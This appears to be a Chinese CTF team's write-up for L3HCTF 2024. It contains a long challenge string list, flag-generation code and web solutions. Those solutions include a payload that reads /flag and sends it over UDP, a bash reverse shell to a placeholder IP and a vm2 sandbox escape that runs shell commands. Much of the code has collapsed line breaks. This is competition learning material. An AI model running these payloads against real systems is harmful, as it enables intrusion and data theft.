'vkeqpqwrdrzvrdkg', 'lmgvnrmbwermpsxx', 'wpcihvumyumoljws', 'sqqleapevuisjovs', 'xrtefpneewlrlvwd', 'mmbabccilwfyvvjak', 'mqebclxzlkierkjf', 'cuytrwygyntgajgm', 'fhodjnmtmzrqzszj', 'kmgwmlnfykcuvqnl', 'aopjewaqievtqdct', 'tjouxksorchkworv', 'ncirabcozpldzewjz', 'sucivpgmovkfqxpn', 'akhusibommljkvfb', 'cdxrtkejlxftegjn', 'pcykwqocqfjcpygs', 'ddgipyltjxtthplq', 'uqtqauyppkzzztxr', 'byziilqifrkefnmx', 'pihmqvosbrmfwvgj', 'zcrokjgwuujlsqzk', 'midiigvhwxuuxdoj', 'quzizelifvrqgiqy', 'qoizxtjfeiykktbh', 'kopvmoiueozhbxfe', 'rabczignulcwpsobz', 'esmkumjwclulmmlg', 'cwknucjbjropshgm', 'xrkvscqbnuofxbbd', 'lfhexistfbnypjxb', 'qtvceoxufqerkgcd', 'nvqnrbzmizbmenoj', 'vaxeseydjahzmeqv', 'kkhvyzvdlupbekot', 'ghkdrqrrufndvlab', 'puuorkmgkyjrrfzm', 'qdojlkfsajazdbtr', 'trunvamzxxtruqqk', 'wyfqiycmuaxnwdmj', 'tehftxcnimfcgulv', 'xideohbursltsyaw', 'zukuxtscehugrlwz', 'tqyowyifdxmlekmi', 'gktvxxotbobtzjhz', 'sbrdswxuitwshrql', 'vjxkqyvipqlevbhk', 'xupvseicxsjlvprl', 'zzvgmaspjzobbbai', 'umqxughwbhxrbgnv', 'necgnedkdtsxllws', 'kfzhgtbffdkcmemk', 'jygmwohqgxytdabcc', 'xubntcuzhakycmhb', 'nykkvobihcvcbsom', 'jmpfjbgethlvegac', 'rcrkrqlqszizkuwn', 'mkvtjvezpqntwsor', 'vavxnwabzsvbxrta', 'wxjtawscbrqldboj', 'ukqyxnzmmregydtj', 'bzdoqdhyfxjhrtca', 'zwwifjejxilnlncq', 'zbhinfwhbsewmmnj', 'wpatetlrcetrwygn', 'qijjqtjtkjldjzpv', 'wizlmxgtbqokdive', 'gjowgwgtfyoyvakj', 'dutziyzhjwwdwbmh', 'hhxlvaslalqnjfez', 'nftbzbqrrdhpbvel', 'rawgbwriyffuvwea', 'qelvbxvcmyipiyux', 'gpvbmgzpjpvmfjou', 'edysbthmpzewjmhq', 'gimdgabewrjfmouq', 'kabamudmytcvskgz', 'jnbqnbtzepeettut', 'ubycgxbczobyuvty', 'ncqlwqzzlurrfurm', 'mqdliidaptajnque', 'aqkislhbhutlmskx', 'kqgowgleasjmgjro', 'anzasevxbinscrwy', 'mligzlmekbqjtlkz', 'acjwzeaariolohth', 'lewbaeswgtsegzgf', 'bkaleiidkzgtyukg', 'griqeggfgygajdxr', 'tiqtuoakcxhsppug', 'djwebkqgutgcqjkq', 'mtdquygxxpcnmxvg', 'lzbitojuuxxhrcms', 'wkqdzfkdeoxlrrrv', 'qdkvpynqxmqizxfh', 'rsypvochupieijuw', 'zhjqkrovsdewbwrg', 'cojrovhotitqglxf', 'vupizqllrxepdyej', 'rrcescgfpodyqgqj', 'enyhpwibqizxzxlf', 'ysgpfnkxewxpunmc', 'qqayjdiwesfhjqdj', 'vvxsqmsxkwlowkaz', 'vhbgvteemnjcjzjn', 'pjvysfsrgpzeefgi', 'hjpqwdkuxpvojlrb', 'qdviqqkpfpmusqku', 'zekclapatdchkkuu', 'ushhsykosapkwfvn', 'qlwhigtykfafzwkf', 'ueeemzyxxionuzvh', 'uxidcslniryrlkfr', 'wjrqpxvnjwnzvhaw', 'sfufkmlseobjehmb', 'viqcfxqgzfgjlwyn', 'vfffdaynlllgflud', 'xgbzqwuziammugee', 'juwviucofrqykbph', 'nfhofnyrvpgnrncr', 'xwnrmtztbduhaxzm', 'qwjuwencytcviddt', 'zgtzokhuophlklax', 'yhhhyqbivjulhxzz', 'qjlrmtnkpezzxbip', 'csjtxagscqzcyxgw', 'gibiwnkxfwmdypdb', 'zwuqefypxjswiqnr', 'rvwoomgislxnjiku', 'avtzjpgdqkrswwil', 'tybnjxlyeppveuln', 'hvjlkwgdbzjuthio', 'uwmvnynpvcrtjaoi', 'tazibajxbbektuny', 'eydtgcsqrjeudusa', 'cjvzwcgypecfudux', 'oovnezznsbbuzage', 'jjeciyognokzoavb', 'ewwzxbjfxgyrwdnz', 'mqtotsnaejvwsfxv', 'hewhemklxufjlxds', 'qfgrjckxuvxppffa', 'xrkanxmmdhjnrpms', 'ugszqiazpribuhin', 'hhtlbstnuebaovan', 'wmerwupitfwffwjq', 'cfhlftbplljrdnmt', 'iwgvszqjzoutyofq', 'rfddyjwanuajwfms', 'glcpwdgghxjjlbhl', 'opyabchjxtqeaqluw', 'zqrzsgsurxcablbp', 'tlzsuhpazrgyftra', 'hfbywjxrjvfyfjor', 'xfuisoaqkhitaneo', 'jbmpkilwrfevuabc', 'riftearjllxbsrpg', 'visatalbyphvpcqn', 'tezwyeuynxiqceny', 'gmllnngsknyuqfyg', 'jcptptnztjtczgin', 'sfslwzsttdrouqmi', 'oprcoelsndlnehzv', 'cfmhxjwgozohudcf', 'mhxzekxwbbccbumx', 'qeqyvhpujfgrmiop', 'gtqtcpovarcorjrf', 'aloszdzbbywgchfd', 'dknbhpmmjnuehczn', 'ebkeuntykvvfywib', 'nlgiglojmpbxhafl', 'uswobtqjlbukbjdo', 'deinrxindafjewms', 'bgkkntzoayoycmii', 'ibgusyotlezfhixr', 'jhduofjmetuvulfv', 'ncomoknshtsctgif', 'oeqgwqzgiuxzwnbo', 'kfqhheuvmfwtbokw', 'iqsoqygphhfktibu', 'bobacxbmnfzanumt', 'knnwtzpjwzujuuxw', 'vfnlobdgwymhcgun', 'gsvqncqugmzlvkcc', 'fqnfjzhlmmsjzvxx', 'isynioqvlkzdhldw', 'ysyenabcioynjgrzo', 'mgarisubmmtmxaqu', 'tlkplxdwjvivozqu', 'uumvkpkfqckauzpy', 'jqzzndmsdwuznmii', 'cqqaephdukcklkkh', 'arqsbqajtlzbxspv', 'fpwnogjkszhusmqn', 'arkauhwcnzyhgzgp', 'mmlbhlqmmpxdsjpr', 'hxsyiwgylwvfxvqf', 'fmgsmcxhczkblvrr', 'jfsbaiqqmrcqziyh', 'yonriirnykgcqqoa', 'loqnbxhvnqhefnzc', 'vnrwfrtawnjzmzpr', 'nwvmixbdevbawgcb', 'ssoscjougdkdgwzy', 'tdotnfxymskkechy', 'gdqyqjahcohateim', 'nmpingpzculglnzq', 'oshxfncaghkzfflo', 'brqucwymtbtbpkmg', 'dlbolallmawftyne', 'zaygaqdomkdndypz', 'frynwfgjeyczjiyj', 'fkrmnqytsxookgtf', 'ztsuspdffprgefji', 'urmvtcqxbzqlfenp', 'jtqnervrgeqgltma', 'mxazffkgorgqvasd', 'ohxmmsvrbcbakvtz', 'gvgbadnzvabrkajj', 'ytxszlngumxdrxgs', 'uyrufyweypbkrbcg', 'ylelxbcmvwdqlsst', 'fnqgyqxovwwitolz', 'nmrqcgovdmaregoh', 'jabcyxscsxpdwhduv', 'agyjbfjdrxsdxcbz', 'rsxthmvbbfsbapza', 'bnulsywwhvtckkmm', 'oetgshifgdhknjen', 'fdacdxgrjnfqhbgl', 'ltrpuqvqvaaijmix', 'aalhlxvddlhxsyev', 'qubggjexevkjzapf', 'qffkqkgvbxyrncum', 'ouebeyqrrbwluaiu', 'bsmvockhhfxdvwnn', 'wzyrusboriskzetg', 'qtkohvlnoxldzkhe', 'sknqielwtnmdozdk', 'hueabhcqpsziqofs', 'qvdcptldvpyzwbwt', 'gmcsgkgfgdzvdywo', 'whcybgsdsunkkpqd', 'zouenychsloywadi', 'ofnixothejurjqwx', 'baurihhbpsuzaxdz', 'odnxgsawwegaqqsk', 'avnvjxfrofflpnfl', 'fpeejbcasyuuirri', 'lnqcckixeovoabad', 'ogzfwbnpmoqzdxqb', 'lsfpkmktczfkgase', 'ckfkwbmenshnuzrk', 'puuxkxfbbtdttkec', 'oxplgbgxocgwayuc', 'tgxfplgbhcjubdtg', 'cpcwhsckcdfhbwmp', 'huaukdwwqenjsnbr', 'hvofxghsjlfhswhp', 'vnwbsvtnpfpwatiw', 'mcbkpsbgywhqxsix', 'zksceqawvnemisil', 'ojpmvjelrldcqflk', 'ppfxcvjrjywbkaci', 'vkkkabrzumejtwdr', 'jzzvegddqgtogyel', 'fvwxxwbukfrbazxg', 'rpvgsjrcsunopqja', 'ngjxvxsqxcboieeo', 'xgrdakguxugvngjr', 'zlixckrlsfjnvwiw', 'kqqahdzvaovwrarw', 'zeqmlrqvcymohkfc', 'fkdmammoniaqeaei', 'ktrvrgxstgvttftq', 'skujpfmasgqboljm', 'ydenwjcdlcdtodqp', 'hgsuqywmnwmyfotr', 'waufauuijgxaqceu', 'gbudfydfhbvoamth', 'afskwqlszmvafeqm', 'nbsjuuyfqbhqajok', 'iiawyxcdikosbwsx', 'kgqvvxhnmswfngde', 'icqcdxpedlxpvgms', 'wpxzbdlhhvarycks', 'wkwdjgkzzrmuhuol', 'swsgbdcrbhqhfcci', 'kgmkgeiryynvhwah', 'cmpvksdyjvmbdfhj', 'uglxrzjgijfcvhbx', 'bgevfvpmocxgausz', 'uqojyggipoyuwkby', 'avlnovzpuzubuuss', 'eyghurrorndubcsm', 'zdnntbwcugnykdti', 'lchrlndexvovoznd', 'cpnizzfmpzinymlk', 'hskvkurwexwqasxt', 'xprysdqnfmvifwjy', 'ngzdbejzpatoixnp', 'zxomsbqlfuhemazl', 'iqvuegauwclhvqma', 'tzdgvyptuayjvktt', 'zvhbvljserqbcbir', 'mukwzypdxlegwipe', 'uslhhogibvwqzhyz', 'rylrlapnfsdogovl', 'impmhoqumkogchoq', 'zarlqxhzfwhqjsms', 'ymxpexvboiwzkomy', 'nhgexfzvunjnosgb', 'wslojqmvusvumclp', 'uufkkyrchehmokjr', 'uadbebqfwaewmzdk', 'wwzazyhamqhdwjzc', 'yrwrqxhvmzfeiqpa', 'gycblakmiqqoioke', 'gpyfmbzhhhtuysyf', 'agtyhlalmwzmpnes', 'jhbfquwnkzzmmrqg', 'xahekbixkfaidgkb', 'njiajqrymsbxsfyj', 'xrhkzoerfwjjjvyv', 'mojaewgjwmmxmmcj', 'mcimexhcqqptnotx', 'lshefqasobmbuxdd', 'srgglcluxgheudmy', 'cgxocmkqzjagwgmm', 'iyreabcwxbnkpsjoa', 'zaljaqjvfvvqdays', 'gskeygtjgbijvkjn', 'smpslnyxjvbhjyvh', 'raeaxhedueaayvlp', 'vbzqcqhzdaptsdts', 'enurfjqxyapakpyu', 'xesnqtvzlkjudkgx', 'kjwfyrasqtafiyri', 'bsbavcxzjuaksbld', 'hstmbonbgsleppae', 'exyhezlohmqkhxlr', 'rqmhckbvtfyqwsxh', 'wfnvwsffbdliqsll', 'eaqnrvadjaojgfsm', 'rhocxroqdqrervjn', 'mzdczcvbrhjwcdve', 'yxlrftymqxqtbvso', 'baunrbrfzrapqzit', 'oipmrdynelruxvry', 'khppolojdkojxwqv', 'umwgrzharatzdqjb', 'jbabfxajhdducgsw', 'ohtxxfqthypvhbca', 'knwjiwadhywkwlsz', 'qteikhwuuasdyvpn', 'ytdeibtvnlysssfj', 'bdcflvlghfonjfik', 'eactaiaqtgrhwkbn', 'evfodntmumnmpltz', 'zklhlzjiueabafnz', 'zrsbbgkjcseqeang', 'cbvthkbgywxvjkhh', 'gykehthvmdzklzmm', 'bhrydwsdwtqaxyhu', 'abchczaihcevacgzx', 'yonhiezjoqwosrwx', 'lpwsvvjbtimkqkaz', 'tibcufriphwxwzhj', 'kqxnnvmxdyubsyma', 'jdjdalrfdvtzjzzf', 'qzijzvthlydyayby', 'xsmhbxalbihmkgmr', 'ickheeqdhkhfvagy', 'zgancfyzdspdikye', 'rglysjgxdhtlirpe', 'xwmvbwnbknuynzms', 'rtggytyubuthyvdu', 'hjfqzmmiqdopyduc', 'yyeixxunfkstmdly', 'stccdhodaeauqskv', 'bsemgaskpcgvmcgd', 'todqxrxzpksoowqy', 'wqpfgvkppuehavdx', 'oecawvidnbencfzv', 'ocpbksbgdutggshn', 'hvfvfvhuwftqdtys', 'raqymywkbzpjsomo', 'mnsgyltrdguifeom', 'zrtwkfvmrxgmebpc', 'esnlddvhmlycfnzm', 'ujmrrippyxxaitjd', 'cjqopvqjmwdwrhtc', 'axterdjcgvvkvjmt', 'wsfjhyhiwcskrnzl', 'excxprrgtvsdstkq', 'bqpvnpcbqbjeorfs', 'zgrbyxqcahdirxzz', 'ibruhcuhiwpsndjo', 'dmningijzetvgssq', 'vsbnskosiigyjwhd', 'gvbexrsmzefdfjra', 'rnjdwommvluzgmiw', 'qfnpnioafynmfnch', 'iutdykdyrnjbijim', 'yybpzynyyvqsibqw', 'ukcumxubdajklbow', 'qpfhjabesozcqxnt', 'ogpjowmcxjvltaei', 'nmmgxxpblhyvjcza', 'rsdicjpuitrhjhoo', 'rougghrsdcuhaxkb', 'ccoubobkldovhdha', 'heeysansiaiqecsy', 'txyzgixqzbqoyddo', 'zgonqkaonzusldmu', 'ksvocdxauzvzaqej', 'tthfhimluvparxna', 'jrfaqfteargbowaq', 'vwgdxfzukfkbwmoi', 'kxaxverroublhnkg', 'hxcyocruwhxerkwv', 'waaywxwtrwpnwcxe', 'kbrwbedcrxacnfzn', 'heqhjudnrfmpgffr', 'zoninmtmgfzwfivy', 'nhdjsbedakglczfb', 'eyklkfsriufgdeta', 'cdtcihvzlfrxcqkk', 'nszlmuisqibdhuij', 'frfwwwunnpwouryl', 'bahmwsfifpehpvlm', 'xinovuwjryvjderk', 'stdxirugdjwsxdrf', 'ukzsodimorlbassb', 'dcqdmnpirlwetexz', 'lnkkravbrdzuaixf', 'iqhikikqgoabcupoz', 'tqqnskydlxxyeloy', 'hoqhujloveotexob', 'tafrmbzoiiyxkrpv', 'gedftcwddbvqbcbp', 'tmlvgfxezfqhqlro', 'omkqddentowyusgs', 'uvmoywmfgcxprcob', 'wxaexnkxfscqpbvn', 'arouwkkwzmpxcraq', 'oshuiowfgoxvscum', 'wlcbjlvtpwbizxkk', 'pqdqfcardhablnlm', 'hncftotfykwkmcwc', 'ilbkfisyjvqmmjox', 'mjziuevwvgazkmrr', 'qxftpuleqzgeoxkn', 'qwfbcoulervauwzy', 'hzzahmyatnakmfkm', 'atlkeburbqttzgdv', 'chctjbylvaqivhnu', 'kljxzdlufmjsakrn', 'ldqznwrdmigxmplj', 'jnzsugujwghliiyj', 'davvfzptwjezrtut', 'ayvxlihyfxjghbnj', 'damnybtgbouyhgvm', 'xycclwykeleqgqbz', 'xcexkuimhauveeep', 'alawhglfqmrpujdu', 'ucqkzhnxzfmhrscm', 'giqfhrubpvulkbcz', 'ibjyvrczdfvorhxe', 'qbwwxgvtphqitwrc', 'nznctodxeivfdauc', 'gcelouuuaxwxmvsw', 'rqelrfgexnkdnazl', 'fbepvxtrhujvrdfc', 'iczbfakdstudncnv', 'qwyjcjokwchroxbr', 'ycjrzaetiivrrdkc', 'hjaflkntduxbssgu', 'rwfrleciyxwvxygj', 'pfkodbjvlrgvryzh', 'fyvawqjluonvjjxc', 'nzkedkvundnsfmnm', 'zkvlbpsldcyafkpj', 'hrnjhejkhdkcmnmh', 'sydwdkxfjjkvvbfk', 'ydznqbenlyrstgmu', 'katzotudzcpwwvkb', 'xucadxwemqvixtva', 'nnbzlmlmesntwwhh', 'sidmvrqryepebkda', 'zqlfnaleybermqpx', 'kduaxanohkcebsaj', 'jajuaudbrkkcnyyq', 'rhtefiqjirzhpjwt', 'tgbyhnyxxivxpebp', 'oqqwgmpqimqnjrxz', 'tptopmpejaaaxokz', 'rglhbkxoupbeqxhn', 'diannxikfirreuin', 'ilkjfpwdabcorejuk', 'tzygwhlicpqhsxsm', 'ednqyfigrhjjsixi', 'ichtvcqqxhzvwyrk', 'ckyoxfbufktqznpj', 'xoskspafepfgeeit', 'jcbtyhklimaasdfu', 'cfkabckzjghzapvxx', 'owdyarpowhkunwhy', 'etnyrgssgohswpva', 'ccdzytrxkxrfobiv', 'vxmwodlmkjmnanqf', 'lfoyuzoffzuzknom', 'avpouwwwczpcsixm', 'befuilgwreabcsjqn', 'wwlkjupnpinaskti', 'wuaufrnozwrcwrux', 'ddmlqscfylvvlqet', 'ngtehvarjqltinad', 'hxilufvmpbmybqse', 'sxckpnkpctadurmj', 'tkauepahazlgunce', 'wdnczbubbvaeugur', 'blbtvambkabhgfmt', 'hscywaqlqpzmajlw', 'kqbcyrflffoyrrde', 'swatgwoezppbhzrz', 'wncpezwknhwlkyfa', 'fxoalqugauheullc', 'yfejaqfwodcbvjxo', 'srdidycbfudekvry', 'wbmqrnpsbwvajyst', 'eojhwvsjkhruoihy', 'lebgsqpfytyfljzy', 'nlfrksicpahzoyzs', 'vwfuihhrcdfzahuq', 'zxossokxsiilrhwn', 'nnogzvnyavbajgxg', 'xudcsovkwdigfykp', 'oxnernpkebnwtzgk', 'lpkluymjfczcabbg', 'xwmoythsnnalagrd', 'bwxqduzhwponwuxh', 'tvqujorvigsrzqra', 'ruhirwfwnudvhndi', 'yigakwntqrddbxel', 'doyelkmwfiqrcvwf', 'nqepgxvwmpczbqmp', 'euwsrbwhhaosbuxv', 'qybvertwzftjmsbo', 'ovrxezhfnplztkrf', 'zhsklztsgdxqqlos', 'hjkalxuedegqevxf', 'acqcmxxnvxiyiarj', 'irfjxvnxvcwfggyf', 'ivjlvhotuhyjrbqi', 'ybowwazfbqnlxhix', 'rwldwkwiuokthyvd', 'emeoryhhzmchkcaf', 'wkjtfktltlxrpodu', 'zozxqufosbvhvzmk', 'kejjywawtflpnzxq', 'tgjqeqqyflstgyfn', 'edodalhdkbpbvbbi', 'svvbrdqtivcocuok', 'jqycfyojmcojaike', 'uysmgvolzqhvrjcg', 'jepqutdjnzdxpuis', 'htypdjotmvugsqrn', 'ruanlnsslyvcmloa', 'rmguapshfylrqcyw', 'idmrozfesprjyydi', 'igiijxxuaewkngez', 'mmfbpbxhjbbtaktl', 'wbryhbistnsnxcre', 'eyypsgultocxkddt', 'hmgsapmnlbhkldjy', 'srdiuczmorzzmqmx', 'jydlzvjtvssbiriv', 'xyxlubdngtpamnie', 'hzxhqmvdfeelavey', 'dnmkfxoqikbpnncm', 'uvykqjhcbjrkhwws', 'hcouhxnefskqtsmj', 'tlzdfixqvzmpnxey', 'bqthxadcjbuoihjb', 'amqcryxqrquugjds', 'kazopbofkzigbrjf', 'yoazjvgcjnuynogm', 'cekiuyvsxvnhllot', 'skaakenhygficler', 'vyyblxbztgjdxemi', 'cwijfnzpasohsysb', 'vxshtpkflepkegsv', 'dqlajjejvwkljffm', 'pdrurythrunegiyt', 'wyniiprlwdxayecx', 'onzimmmmwsczxrud', 'wahjycyykcusbzkh', 'pmxfomqplrchaeji', 'cuiofjxjmfwmwjpo', 'mqeyxhbjjhtyiqax', 'vxjtwryiiaiqmgxc', 'rpxhygecrrxsorep', 'pdhcrtkvutpxkjqk', 'xghqzhfjrcskksay', 'llatzvkvpehtkmlp', 'evcdafiqhelayolh', 'wnpjllgpnngclefg', 'cplkciggvoivrdrk', 'rwzojlohceoksqei', 'ibblbsqbtieahuip', 'rxymbuhpxlybbpwj', 'oufytsooclpjthdt', 'ladsdwyczkhlprsk', 'lqglakcncwvhbmdq', 'pvffqrafetpcnonv', 'ltxqocyoaqwqlclh', 'ujleyjgijrzxpohv', 'hdliszkijxjfdhuz', 'uerwlwcboltvibyv', 'frnvgotjrsmsvdrv', 'kprkmutaqpumileg', 'dyfntcyriixrbzpu', 'pljixloqwehtiyju', 'guvbkiuixwtllbyh', 'aywoiniduriovexc', 'xkhsubtnkyitnjuu', 'orgjwbnwirxnlvkv', 'tbnfpmbwrdvlcids', 'ljptwryckhaervnt', 'piklsbpqrpcwtkax', 'btjqiwzsjhtyrabp', 'xaqhoeyrofnixysd', 'ildloryxoleksykm', 'tpkrvszvlfvhpgua', 'uomslwptxjarrgtp', 'qfawaceubqhtfqia', 'xvsatjnexaphrcsq', 'chlowdcammoiqswp', 'vryqjuplbwlaomsw', 'zkndhkyqnmooseqy', 'oehmlodyfkbgwggc', 'ygicydiozmvrkjov', 'vffghaadldklcvpa', 'dudkmcpnwktzabcyc', 'cgpwhbxlqbydfial', 'xkeqyrbppiqzzdtc', 'aywomxmmicyapqry', 'qxrfswxmtgqwiaiu', 'ogesstqnbrqzcike', 'quvgbtgtjtgxrqez', 'ilrohxbbjzdyifwb', 'mwbgfsetpneteejs', 'awvqavqersnsgvym', 'lslutwvxqsgrasxf', 'hujsniqoktvleeph', 'tbibnfjtibcusfqc', 'jkeeyrhwuudkrzmx', 'rckpwpavcgvgmbqn', 'drzbjsuvjgfxgpzx', 'kmdsvposrrdokxzu', 'lapmakjdxbobqslx', 'awqhcznyrcbreinx', 'sgtrrbfxpgcdmlfi', 'hjvvuazaydvuqzfl', 'ukvueksttoovtqnx', 'fjcjtxrbzsrxelui', 'ynxnlswchgyljfah', 'ueznbslrhcswvlvg', 'ixvfnmhdbnowsido', 'tnvrbemiduyabcpgf', 'xicjxbvnripjquxk', 'pnguepiandvkkjgm', 'fmjuyijqtflklzrz', 'wowbwesqdjgbnfza', 'bzhqulhhfrmvlikt', 'xwwbxkpqwzuvbfcc', 'tzfeejglmxpjfiob', 'ttvlzzgyydwznuuj', 'zsaqdcbxiivqeibj', 'jqhivhimzrbhfjye', 'woxtmnynlehbynso', 'tweacunvvzvxvkhe', 'wvjiwrdllmbrzyzh', 'kpawpohuffukizip', 'culggzusblbzrbvp', 'rfiaujemuathqnrg', 'txcebmnimvozhnbq', 'lbpnqjkgkmqepuca', 'rqfueobyxicwpkao', 'rggegjcjqzhrkjqn', 'xbxlktpwwsergaut', 'lhowgnysedqhcquk', 'oqldregahyfprwsi', 'dizcwcthvgopgnwx', 'bzpodvsqzlmeakvy', 'vclpieckqkxhblhl', 'lnvngowxjpgdkwfv', 'yvkdxviywwowawba', 'zxymzgtfqsshclgz', 'boqkrbmnsxvbiema', 'hoeexawhwjrohbxe', 'luocnssrsnrlbmyi', 'tduuyggdvgbfgmhw', 'frvhgulszabsrunb', 'vcsontpzpacsgobo', 'kaiqymcnijuixgvp', 'vgfugfulxkppkurw', 'foudqjgejntrwhke', 'abldoxtbpltfnsni', 'kqxvgbgkkoakfeaj', 'rdkjzlwcpygzkshq', 'qfjxzlkyrpmuvlrf', 'depydkicbtuwrbuf', 'vmpfhqfgcyreyqdl', 'oneokdfkplafayzn', 'fjcerifwgajithlr', 'gtlxawvwmlmqsuuu', 'wgfxdchxqlzdxcpr', 'ajdrspwucswacivi', 'wjzhtgddolhaahmo', 'hbyrafvgohzefptw', 'roxblqysntdnkfqx', 'rmvrjdkeppblcmvy', 'xzgbkvnyxljluccp', 'dvvwfjxmydfdzqyt', 'kxxjltlgbaiguihx', 'rahukefeaibeekpq', 'spsdfgpofpoanurm', 'pjmewktbcytjsvrs', 'nhtbcrwqzoxbhkyi', 'eanjdepcqzqdeoea', 'ujhvaizclocaksng', 'tkucqzszyktwvyjq', 'dnummodkocgrdhbx', 'bzvvgfxvgzqjshji', 'ddctbuygjncstchf', 'mrpciqjmowzdjvsm', 'qhdgxhopljagfbfi', 'ksnimciprjexohfu', 'sdfgsfcwgaknzrqt', 'keiywmjuavometzf', 'pxdzshicopwmofxl', 'xdwlukdaxhwjojeq', 'krnlgjtxhnuntwsa', 'bpnrhdwfkagaubka', 'beoyleogpryyjcmv', 'rrhlmtgpyfszchsi', 'ozdknlljectjisdg', 'wdobdazbwjecqcep', 'jfxjpbzonkvxltib', 'fwcffctkbvpkgexm', 'gornbkdvwuqirrlk', 'yyiqngwrxevbwchf', 'ggyqhxvbjwyzuxwf', 'ixhwkhgotdmkamtj', 'dbqqdygrhtysgxgw', 'mzwmkjfknwfhulgv', 'xtngfkkjuaonbemi', 'vghhkblxwbijsqwi', 'fkfulljgmpkmvxwn', 'kqdckewxfcwyjkuo', 'msaxmgcjerovxgqo', 'bswhhcxiljhjeivr', 'lwllrzomgnjzjqxh', 'gugxbiwfpjbtscyw', 'mmqsxwrnsiprrmyv', 'pdjccwbewqxbhgzn', 'mshemwgzytwmqljx', 'moezekitiafkvsqr', 'edthrvvafeypjypw', 'qspowcqalsukqhhy', 'wasrmlhgjgalcbrb', 'dglyfamnfpqkmteh', 'xgpvsclrqskbjnao', 'iawgyqoqnmxmwtrk']

print(solution(num2))print(solution(num3))
  • 生成flag:

import randomdef func2(n):    a, b = (1, 1)
for i in range(n - 1): a, b = b, a + b
return a
def calc(nums): num1 = nums[0] num2 = nums[1] num3 = nums[2]
num1 = 2023 + (num1 & 15) - (num1 & 240) num2 = func2(num2 + 7) random.seed(num3) flag = f"{num1}{num2}{num3}{random.gauss(num2, 0.2)}" flag = flag.replace('.', 'x') s = 'L3HCTF{'+flag +'}' print(s) if __name__ == '__main__': for i in range(2,17): calc([i,15,1])# L3HCTF{202817711117711x25763695063}

Crypto

babySPN

  • 啥也不用干,hash值打出来就是flag

UKFC2024 L3HCTF WP

Web

intractable problem

  • 非预期解:”’三引号闭合字符串,直接读取flag并发送

  • payload:

def factorization(n: string) -> tuple[int]:    i=1    while(1):        i+=1    return(1,1)'''import socketdef send_udp_packet(ip_address, port, message):    try:        # 创建UDP socket对象        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)                # 发送消息到指定的IP地址和端口号        udp_socket.sendto(message.encode('utf-8'), (ip_address, port))                # 关闭socket连接        udp_socket.close()                print("UDP数据包已发送成功!")    except:        print("UDP数据包发送失败!")flagg=""with open("/flag","r") as f:    flagg=f.read()send_udp_packet("url", 25555, flagg)'''
'''os.system('bash -c "bash -i >& /dev/tcp/xx.xx.xx.xx/xxx 0>&1"')'''
UKFC2024 L3HCTF WP

short url

解法1:

UKFC2024 L3HCTF WP

访问http://1.95.4.251:57080/test/?redirect=AB6mJQxU

解法2:

UKFC2024 L3HCTF WP

UKFC2024 L3HCTF WP

访问http://1.95.4.251:57080/test/?redirect=SjTUCOdn

escape-web

Sandbox Escape in vm2@3.9.19 via custom inspect functionhttps://gist.github.com/leesh3288/e4aa7b90417b0b0ac7bcd5b09ac7d3bd
输出📕:/app/output.txt错误❌:/app/error.txt
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = { [customInspectSymbol]: (depth, opt, inspect) => { // inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s ../../../flag /app/error.txt').toString(); inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/error.txt;ln -s /flag /app/error.txt'); }, valueOf: undefined, constructor: undefined,}
WebAssembly.compileStreaming(obj).catch(()=>{});

Misc

End_of_Programming

UKFC2024 L3HCTF WP

欢迎进qq群讨论

UKFC2024 L3HCTF WP

原文始发于微信公众号(UKFC安全):UKFC2024 L3HCTF WP

版权声明:admin 发表于 2024年2月6日 下午1:15。
转载请注明:UKFC2024 L3HCTF WP | CTF导航

相关文章